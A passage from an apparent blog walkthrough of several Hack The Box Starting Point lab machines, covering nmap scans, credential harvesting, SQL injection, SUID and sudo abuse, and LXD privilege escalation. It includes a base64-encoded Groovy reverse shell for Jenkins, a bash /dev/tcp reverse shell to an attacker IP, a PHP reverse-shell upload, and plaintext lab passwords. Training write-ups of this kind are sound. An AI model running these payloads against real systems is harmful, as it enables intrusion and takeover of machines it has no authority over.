href="https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script">https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script</a></p><p>Getting a rev shell for linux ofc changing the payload to our desire</p><pre>```<br>def sout = new StringBuffer(), serr = new StringBuffer()<br>def proc = &#39;bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xOS80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}&#39;.execute()<br>proc.consumeProcessOutput(sout, serr)<br>proc.waitForOrKill(1000)<br>println &quot;out&gt; $sout err&gt; $serr&quot;<br>```</pre><p>start the nc listener and let the magic begin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxVdwqoxIbXHWRUUHAxY3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CG_AZbQqCK-cCt0b6MoDkw.png" /></figure><p>The next machine is <strong>Tactics </strong>the last in tier1<br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.140.127<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024–08–17 21:29 CET<br>Stats: 0:01:34 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 99.76% done; ETC: 21:30 (0:00:00 remaining)<br>Nmap scan report for 10.129.140.127<br>Host is up (0.22s latency).<br>Not shown: 997 filtered tcp ports (no-response)<br>PORT STATE SERVICE VERSION<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds?<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br>Host script results:<br>| smb2-time: <br>| date: 2024–08–17T20:30:13<br>|_ start_date: N/A<br>| smb2-security-mode: <br>| 311: <br>|_ Message signing enabled but not required<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 112.22 seconds<br>```</pre><p>let’s connect with smbclient with no password</p><pre>```bash<br>└─$ smbclient -L \\\\10.129.140.127\\ - user Administrator<br>Password for [WORKGROUP\Administrator]:<br>Sharename Type Comment<br> - - - - - - - - - - -<br> ADMIN$ Disk Remote Admin<br> C$ Disk Default share<br> IPC$ IPC Remote IPC<br>Reconnecting with SMB1 for workgroup listing.<br>```<br>C$ is a default share; great<br>```bash<br>─$ smbclient \\\\10.129.140.127\\C$ - user Administrator <br>Password for [WORKGROUP\Administrator]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt;<br>```</pre><p>We can also use impacket tool, psexec.py to get an interactive shell but a simple get flag works here</p><p>With this the last machine of tier1 is done; onto the last tier where the machine get even more complex as most of the machines we hacked into gave us the access as the root user, this will almost never happens.</p><p>The first machine in tier2 is <strong>Archetype</strong><br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.87.29 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024–08–21 22:04 CET<br>Stats: 0:02:31 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 96.88% done; ETC: 22:06 (0:00:02 remaining)<br>Nmap scan report for 10.129.87.29<br>Host is up (0.32s latency).<br>Not shown: 996 closed tcp ports (conn-refused)<br>Bug in ms-sql-ntlm-info: no string output.<br>PORT STATE SERVICE VERSION<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds<br>1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM<br>| ms-sql-info: <br>| 10.129.87.29:1433: <br>| Version: <br>| name: Microsoft SQL Server 2017 RTM<br>| number: 14.00.1000.00<br>| Product: Microsoft SQL Server 2017<br>| Service pack level: RTM<br>| Post-SP patches applied: false<br>|_ TCP port: 1433<br>Service Info: OSs: Windows, Windows Server 2008 R2–2012; CPE: cpe:/o:microsoft:windows<br>```<br>We SMB let&#39;s list possible available shares<br>```bash<br>└─$ smbclient -L \\\\10.129.87.29\\ <br>Password for [WORKGROUP\kali]:<br>Sharename Type Comment<br> - - - - - - - - - - -<br> ADMIN$ Disk Remote Admin<br> backups Disk <br> C$ Disk Default share<br> IPC$ IPC Remote IPC<br>Reconnecting with SMB1 for workgroup listing.<br>```</pre><p>Getting inside the share we have one file</p><pre>```bash<br>smb: \&gt; dir <br> . D 0 Mon Jan 20 13:20:57 2020<br> .. D 0 Mon Jan 20 13:20:57 2020<br> prod.dtsConfig AR 609 Mon Jan 20 13:23:02 2020<br>```</pre><p>this the content of the file, we have a username and a password of the sql database</p><pre>```bash<br>&lt;DTSConfiguration&gt;<br> &lt;DTSConfigurationHeading&gt;<br> &lt;DTSConfigurationFileInfo GeneratedBy=&quot;…&quot; GeneratedFromPackageName=&quot;…&quot; GeneratedFromPackageID=&quot;…&quot; GeneratedDate=&quot;20.1.2019 10:01:34&quot;/&gt;<br> &lt;/DTSConfigurationHeading&gt;<br> &lt;Configuration ConfiguredType=&quot;Property&quot; Path=&quot;\Package.Connections[Destination].Properties[ConnectionString]&quot; ValueType=&quot;String&quot;&gt;<br> &lt;ConfiguredValue&gt;Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;&lt;/ConfiguredValue&gt;<br> &lt;/Configuration&gt;<br>&lt;/DTSConfiguration&gt; <br>```</pre><p><strong>Impacket</strong> mssqlclient.py can make an authorized connection to a Microsoft SQL server</p><pre>```bash<br>└─$ impacket-mssqlclient sql_svc:M3g4c0rp123@10.129.87.29 -windows-auth <br>Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation<br>[*] Encryption required, switching to TLS<br>[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master<br>[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english<br>[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192<br>[*] INFO(ARCHETYPE): Line 1: Changed database context to &#39;master&#39;.<br>[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.<br>[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) <br>[!] Press help for extra shell commands<br>SQL&gt;<br>```</pre><p><a href="https://www.revshells.com/">https://www.revshells.com/</a></p><p>Let’s create our powershell reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wGlLq6m6N_2LjGFM81Ayag.png" /></figure><pre>```powershell<br>└─$ nc -lvnp 4343 <br>listening on [any] 4343 …<br>connect to [10.10.16.19] from (UNKNOWN) [10.129.207.66] 49675<br>whoami<br>archetype\sql_svc<br>PS C:\Windows\system32&gt; <br>```</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgbzUc6C4EwcLAJZ0NU2Sw.png" /></figure><pre>```powershell<br>PS C:\Users\sql_svc\DEsktop&gt; PS C:\Users\sql_svc\DEsktop&gt; type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt<br>net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!<br>exit<br>```</pre><p>Login using <strong>evil-winrm</strong> and get the flags</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eot4wuSYUFtaq1dvRwwy6g.png" /></figure><p>Next machine is <strong>Oopsie</strong><br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.219.136 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024–08-22 22:13 CET<br>Nmap scan report for 10.129.219.136<br>Host is up (0.22s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 61e43fd41ee2b2f10d3ced36283667c7 (RSA)<br>| 256 241da417d4e32a9c905c30588f60778d (ECDSA)<br>|_ 256 78030eb4a1afe5c2f98d29053e29c9f2 (ED25519)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Welcome<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br>```</pre><p>either fuzzing if you have some much time or using burpsuite will reveal subdirectories in our website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ItBe7uMcJh9t0lse-kg7uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uezekupp3MqL_NhAvUEpMQ.png" /></figure><p>If you go to accounts you’ll see your id is 2 as an argument to admin.php, assuming the first id is for the admin, simply passing 1 as an argument reveals the access ID for the admin, now go to cookie and replace the access ID and you’ll admin access.<br>Next we need to upload a php reverse shell, fortunately the file upload will be in /uploads/your_rev_shell_file_name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iw0OjJXFKBJrUO7T4qDTAA.png" /></figure><p>Let’s get a stabilized shell, first<br>the steps to do that are:</p><pre>```bash<br>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39; //ctrl+2<br>stty raw -echo; fg<br>export TERM=xterm<br>```</pre><p>Looking around the machine we find this</p><pre>```bash<br>www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php <br>&lt;?php<br>$conn = mysqli_connect(&#39;localhost&#39;,&#39;robert&#39;,&#39;M3g4C0rpUs3r!&#39;,&#39;garage&#39;);<br>?&gt;<br>www-data@oopsie:/var/www/html/cdn-cgi/login$ <br>```</pre><p>we have a potential password for user robert<br><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation">https://book.hacktricks.xyz/linux-hardening/privilege-escalation</a><br>Enumerating for SUIDs</p><pre>```bash<br>robert@oopsie:/var/www/html/cdn-cgi/login$ find / -perm -4000 2&gt;/dev/null<br>```</pre><p>we find an interesting binary: /usr/bin/bugtracker<br>As we were lucky and robert used the same password for his user, after ssh as robert, we can run the interesting binary and since it is a suid it will run as root, all of this is possible because robert is in the bugtracker group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*IpB117qjIYBKCVWPm6qA_w.png" /></figure><p>looks like the binary is making a call to another binary <strong>cat</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*KV_evThvDmVkXBYGe0hcaQ.png" /></figure><p>Next machine is <strong>Vaccine</strong><br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.95.174 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024–08–29 21:25 CET<br>Nmap scan report for 10.129.95.174<br>Host is up (0.39s latency).<br>Not shown: 997 closed tcp ports (conn-refused)<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp vsftpd 3.0.3<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip<br>| ftp-syst: <br>| STAT: <br>| FTP server status:<br>| Connected to ::ffff:10.10.16.17<br>| Logged in as ftpuser<br>| TYPE: ASCII<br>| No session bandwidth limit<br>| Session timeout in seconds is 300<br>| Control connection is plain text<br>| Data connections will be plain text<br>| At session startup, client count was 1<br>| vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 3072 c0ee58077534b00b9165b259569527a4 (RSA)<br>| 256 ac6e81188922d7a7417d814f1bb8b251 (ECDSA)<br>|_ 256 425bc321dfefa20bc95e03421d69d028 (ED25519)<br>80/tcp open http Apache httpd 2.4.41 ((Ubuntu))<br>| http-cookie-flags: <br>| /: <br>| PHPSESSID: <br>|_ httponly flag not set<br>|_http-title: MegaCorp Login<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br>```</pre><pre>```bash<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||10074|)<br>150 Here comes the directory listing.<br>drwxr-xr-x 2 0 0 4096 Apr 13 2021 .<br>drwxr-xr-x 2 0 0 4096 Apr 13 2021 ..<br>-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip<br>226 Directory send OK.<br>```</pre><p><strong>zip2john</strong> can generates a hash from a password protected zip archive in a format to allow for cracking</p><pre>```bash<br>└─$ john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (PKZIP [32/64])<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>741852963 (backup.zip) <br>1g 0:00:00:00 DONE (2024–08–29 21:46) 33.33g/s 29866p/s 29866c/s 29866C/s michelle1..ilovegod<br>Use the &quot; - show&quot; option to display all of the cracked passwords reliably<br>Session completed. <br>```</pre><pre>```php<br>&lt;?php<br>session_start();<br> if(isset($_POST[&#39;username&#39;]) &amp;&amp; isset($_POST[&#39;password&#39;])) {<br> if($_POST[&#39;username&#39;] === &#39;admin&#39; &amp;&amp; md5($_POST[&#39;password&#39;]) === &quot;2cb42f8734ea607eefed3b70af13bbd3&quot;) {<br> $_SESSION[&#39;login&#39;] = &quot;true&quot;;<br> header(&quot;Location: dashboard.php&quot;);<br> }<br> }<br>?&gt;<br>```</pre><p>|2cb42f8734ea607eefed3b70af13bbd3|md5|qwerty789|</p><p>okay, for the next part, the website is vulnerable to an SQLi, we gonna automate this process using sqlmap, u need to make sure for two things: authentication is handled via the cookie, and set the level and risk to 2 (for some reason it was the only way for me to get a shell)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7YelzxZWeZ3SxJM5Y_ZBQ.png" /></figure><p>we need to upgrade this shell asap<br>first using: <strong>bash -c “bash -i &gt;&amp; /dev/tcp/10.10.16.17/1234 0&gt;&amp;1”</strong><br>then python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ //ctrl+z<br>stty raw -echo; fg<br>export TERM=xterm</p><p>While playing around in var/www/html in dashbord.php we find</p><pre>```bash<br>&lt;?php<br> session_start();<br> if($_SESSION[&#39;login&#39;] !== &quot;true&quot;) {<br> header(&quot;Location: index.php&quot;);<br> die();<br> }<br> try {<br> $conn = pg_connect(&quot;host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!&quot;);<br> }<br>```</pre><p>postgres is a part of the sudoers group and we have his password now, we should run sudo -l<br>we get this</p><pre>```bash<br>postgres@vaccine:/var/www/html$ sudo -l<br>[sudo] password for postgres: <br>Matching Defaults entries for postgres on vaccine:<br> env_keep+=&quot;LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET&quot;, env_keep+=&quot;XAPPLRESDIR<br> XFILESEARCHPATH XUSERFILESEARCHPATH&quot;,<br> secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,<br> mail_badpass<br>User postgres may run the following commands on vaccine:<br> (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf<br>```</pre><p>we can run /bin/vi as root, this is from gtfobins</p><pre>```bash<br>sudo vi -c &#39;:!/bin/sh&#39; /dev/null<br>```</pre><p>that won’t work, but we can also try this from gtfobins</p><pre>```<br>vi<br>:set shell=/bin/sh<br>:shell<br>```</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*KP-3MiIAXBMK0w4d9Fo-Wg.png" /></figure><p>Next machine is <strong>Unified</strong><br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.96.149 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024–08–31 22:30 CET<br>Nmap scan report for 10.129.96.149<br>Host is up (0.25s latency).<br>Not shown: 996 closed tcp ports (conn-refused)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)<br>|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)<br>6789/tcp open ibm-db2-admin?<br>8080/tcp open http-proxy<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-title: Did not follow redirect to https://10.129.96.149:8443/manage<br>| fingerprint-strings: <br>| FourOhFourRequest: <br>| HTTP/1.1 404 <br>| Content-Type: text/html;charset=utf-8<br>| Content-Language: en<br>| Content-Length: 431<br>| Date: Sat, 31 Aug 2024 21:30:55 GMT<br>| Connection: close<br>| &lt;!doctype html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 <br>| Found&lt;/title&gt;&lt;style type=&quot;text/css&quot;&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 404 <br>| Found&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;<br>| GetRequest, HTTPOptions: <br>| HTTP/1.1 302 <br>| Location: http://localhost:8080/manage<br>| Content-Length: 0<br>| Date: Sat, 31 Aug 2024 21:30:53 GMT<br>| Connection: close<br>| RTSPRequest: <br>| HTTP/1.1 400 <br>| Content-Type: text/html;charset=utf-8<br>| Content-Language: en<br>| Content-Length: 435<br>| Date: Sat, 31 Aug 2024 21:30:55 GMT<br>| Connection: close<br>| &lt;!doctype html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;HTTP Status 400 <br>| Request&lt;/title&gt;&lt;style type=&quot;text/css&quot;&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 400 <br>| Request&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;<br>| Socks5: <br>| HTTP/1.1 400 <br>| Content-Type: text/html;charset=utf-8<br>| Content-Language: en<br>| Content-Length: 435<br>| Date: Sat, 31 Aug 2024 21:30:56 GMT<br>| Connection: close<br>| &lt;!doctype html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;HTTP Status 400 <br>| Request&lt;/title&gt;&lt;style type=&quot;text/css&quot;&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 400 <br>|_ Request&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;<br>8443/tcp open ssl/nagios-nsca Nagios NSCA<br>| http-title: UniFi Network<br>|_Requested resource was /manage/account/login?redirect=%2Fmanage<br>| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US<br>| Subject Alternative Name: DNS:UniFi<br>| Not valid before: 2021–12–30T21:37:24<br>|_Not valid after: 2024–04–03T21:37:24<br>```</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7GRNNGfbdxTsHoaWG3hSw.png" /></figure><p>we have a CVE: <a href="https://github.com/puzzlepeaches/Log4jUnifi">https://github.com/puzzlepeaches/Log4jUnifi</a><br>follow the instructions and you’ll have a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*wjL5WeqvZuUo80yNy2kBpg.png" /></figure><p>after we need to begin post exploitation</p><pre>```bash<br>unifi 68 0.3 4.1 1100672 85164 ? Sl 18:07 0:14 bin/mongod - dbpath /usr/lib/unifi/data/db - port 27117 - unixSocketPrefix /usr/lib/unifi/run - logRotate reopen - logappend - logpath /usr/lib/unifi/logs/mongod.log - pidfilepath /usr/lib/unifi/run/mongod.pid - bind_ip 127.0.0.1<br>```</pre><p>we have mongo running, <a href="https://community.ui.com/questions/External-MongoDB-Server/d311a8f8-43b6-4aeb-859d-eefec9dc1bbc">https://community.ui.com/questions/External-MongoDB-Server/d311a8f8-43b6-4aeb-859d-eefec9dc1bbc</a> this will give us that the default user is ace.<br>Before that it is always nice to stabilize the shell with bash or something else, since there is not python: <a href="https://github.com/RoqueNight/Reverse-Shell-TTY-Cheat-Sheet">https://github.com/RoqueNight/Reverse-Shell-TTY-Cheat-Sheet</a></p><pre>```bash<br>&gt; db.admin.find()<br>dbdb.admin.find()<br>{ &quot;_id&quot; : ObjectId(&quot;61ce278f46e0fb0012d47ee4&quot;), &quot;name&quot; : &quot;administrator&quot;, &quot;email&quot; : &quot;administrator@unified.htb&quot;, &quot;x_shadow&quot; : &quot;$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.&quot;, &quot;time_created&quot; : NumberLong(1640900495), &quot;last_site_name&quot; : &quot;default&quot;, &quot;ui_settings&quot; : { &quot;neverCheckForUpdate&quot; : true, &quot;statisticsPrefferedTZ&quot; : &quot;SITE&quot;, &quot;statisticsPreferBps&quot; : &quot;&quot;, &quot;tables&quot; : { &quot;device&quot; : { &quot;sortBy&quot; : &quot;type&quot;, &quot;isAscending&quot; : true, &quot;initialColumns&quot; : [ &quot;type&quot;, &quot;deviceName&quot;, &quot;status&quot;, &quot;connection&quot;, &quot;network&quot;, &quot;ipAddress&quot;, &quot;experience&quot;, &quot;firmwareStatus&quot;, &quot;downlink&quot;, &quot;uplink&quot;, &quot;dailyUsage&quot; ], &quot;columns&quot; : [ &quot;type&quot;, &quot;deviceName&quot;, &quot;status&quot;, &quot;macAddress&quot;, &quot;model&quot;, &quot;ipAddress&quot;, &quot;connection&quot;, &quot;network&quot;, &quot;experience&quot;, &quot;firmwareStatus&quot;, &quot;firmwareVersion&quot;, &quot;memoryUsage&quot;, &quot;cpuUsage&quot;, &quot;loadAverage&quot;, &quot;utilization&quot;, &quot;clients&quot;, &quot;lastSeen&quot;, &quot;downlink&quot;, &quot;uplink&quot;, &quot;dailyUsage&quot;, &quot;uptime&quot;, &quot;wlan2g&quot;, &quot;wlan5g&quot;, &quot;radio2g&quot;, &quot;radio5g&quot;, &quot;clients2g&quot;, &quot;clients5g&quot;, &quot;bssid&quot;, &quot;tx&quot;, &quot;rx&quot;, &quot;tx2g&quot;, &quot;tx5g&quot;, &quot;channel&quot;, &quot;channel2g&quot;, &quot;channel5g&quot; ] }, &quot;client&quot; : { &quot;sortBy&quot; : &quot;physicalName&quot;, &quot;isAscending&quot; : true, &quot;initialColumns&quot; : [ &quot;status&quot;, &quot;clientName&quot;, &quot;physicalName&quot;, &quot;connection&quot;, &quot;ip&quot;, &quot;experience&quot;, &quot;Downlink&quot;, &quot;Uplink&quot;, &quot;dailyUsage&quot; ], &quot;columns&quot; : [ &quot;status&quot;, &quot;clientName&quot;, &quot;mac&quot;, &quot;physicalName&quot;, &quot;connection&quot;, &quot;network&quot;, &quot;interface&quot;, &quot;wifi_band&quot;, &quot;ip&quot;, &quot;experience&quot;, &quot;Downlink&quot;, &quot;Uplink&quot;, &quot;dailyUsage&quot;, &quot;uptime&quot;, &quot;channel&quot;, &quot;Uplink_apPort&quot;, &quot;signal&quot;, &quot;txRate&quot;, &quot;rxRate&quot;, &quot;first_seen&quot;, &quot;last_seen&quot;, &quot;rx_packets&quot;, &quot;tx_pack<br>```</pre><p>The hash is uncrackable because it is sha512 with salt, but we can update the password of the administrator with this <strong>db.admin.update()</strong><br>but we need a password hash first, well make one with mkpasswd for 123: <strong>$6$CoG0.owbh02iUVze$vN19U4h0g1NoXyEK9YefESvRypQfFAt/WrZzvQVjO0Zg.3OMEboAOjBYX2yrcXE3R6bEE8ZZAVZ84cBcS9pDb1</strong><br>then the update command will be <br>db.admin.update({ “_id” : ObjectId(“61ce278f46e0fb0012d47ee4”)}, {$set:{“x_shadow” : “$6$CoG0.owbh02iUVze$vN19U4h0g1NoXyEK9YefESvRypQfFAt/WrZzvQVjO0Zg.3OMEboAOjBYX2yrcXE3R6bEE8ZZAVZ84cBcS9pDb1”}})</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z48rAzSXr3mrU_DZf8yaYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cob4hte9zoRsn8Wnb_gkRw.png" /></figure><p>We can then use ssh to login as root after we get the password <strong>NotAcrackablePassword4U2022</strong></p><p>Next machine is <strong>Included</strong><br>Nmap scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*7c7JhLpTlx2qzjKWoK11XA.png" /></figure><p>There is also port 80 open, and has a LFI in it as well as we can read the content of the /etc/passwd file. Which means we can read the <strong>.htpasswd</strong> inside /var/www/html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*0k9vKfotuLAzbJzM9fyWtQ.png" /></figure><p>TFTP is open which means we can put a shell in there and we know the default storage location for files using tftp is <strong>/var/lib/tftpboot/</strong></p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ tftp 10.129.95.185 -c put php-reverse-shell.php <br> <br>```</pre><p>and we have a shell and we can switch to use mike</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eSTLivlfWPQGMfRZdyJetw.png" /></figure><p><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation</a><br>method 1 is the most straightforward, the idea is to create a container with elevated privileges</p><pre>```bash<br>sudo su<br>sudo apt update<br>sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools<br>git clone https://github.com/lxc/distrobuilder<br>cd distrobuilder<br>make<br>mkdir -p $HOME/ContainerImages/alpine/<br>cd $HOME/ContainerImages/alpine/<br>wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml<br>sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18<br>```</pre><p>But this won’t work as distrobuilder doesn’t support build-lxd, we need to do make build the container otherwise and I found this;</p><pre>```bash<br>on attacker machine: <br>sudo apt update <br>sudo apt install -y rsync tar squashfs-tools <br>mkdir -p ~/ContainerImages/alpine/rootfs <br>cd ~/ContainerImages/alpine <br>wget [https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml](https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml) <br>mksquashfs rootfs rootfs.squashfs -comp xz -noappend <br>mkdir -p metadata <br>nano metadata/metadata.yaml # (add yaml snippet here, from the bottom of this reply) <br>tar -cJf lxd.tar.xz -C metadata metadata.yaml <br>python3 -m http.server 8000<br>on victim machine: <br>wget [http://yourIP:8000/lxd.tar.xz](http://yourip:8000/lxd.tar.xz) <br>wget [http://yourIP:8000/rootfs.squashfs](http://yourip:8000/rootfs.squashfs) <br>lxc image import lxd.tar.xz rootfs.squashfs - alias alpine <br>lxc image list <br>lxc init alpine privesc -c security.privileged=true <br>lxc list <br>lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true <br>lxc start privesc <br>lxc exec privesc /bin/sh<br>metadata.yaml (put the following in the yaml file)<br>architecture: x86_64 <br>creation_date: 1725321600 <br>properties: <br>description: &quot;Alpine Linux 3.18&quot; <br>os: alpine <br>release: 3.18 <br>variant: default<br>```</pre><p>it is really buggy but, we managed to get root barely, if nothing else works, try running the exploit on the attackbox. Or try this from <a href="http://twitter.com/hackernotone">@hackernotone</a><br>if you are using apple silicon mac that would be an issue. you need to build for amd64 architecture. <br>use a docker image to emulate amd64. try with this <br>`docker run -it — rm — privileged — userns=host — platform linux/amd64 kalilinux/kali-rolling` <br>install in container <br>`apt install -y golang-go debootstrap rsync gpg squashfs-tools git make xz-utils` <br>install distrobuilder and build <br>`~/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.9` <br>or use pwnbox and if still no success try this…</p><p>`docker run -it — rm — privileged — userns=host — platform linux/amd64 debian:bullseye` <br>`apt install -y golang-go debootstrap rsync gpg squashfs-tools make xz-utils unzip` <br>`wget <a href="https://github.com/lxc/distrobuilder/archive/refs/tags/distrobuilder-2.0.zip%60">https://github.com/lxc/distrobuilder/archive/refs/tags/distrobuilder-2.0.zip`</a> <br>unzip and make <br>`wget <a href="https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml%60">https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml`</a> <br>`sed -i ‘s/incus-agent/lxd-agent/’ alpine.yaml` <br>`~/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.9`</p><p>Onto to the last two machines<br>starting with <strong>Markup</strong><br>nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.95.192<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024–09–03 19:47 CET<br>Nmap scan report for 10.129.95.192<br>Host is up (0.21s latency).<br>Not shown: 997 filtered tcp ports (no-response)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 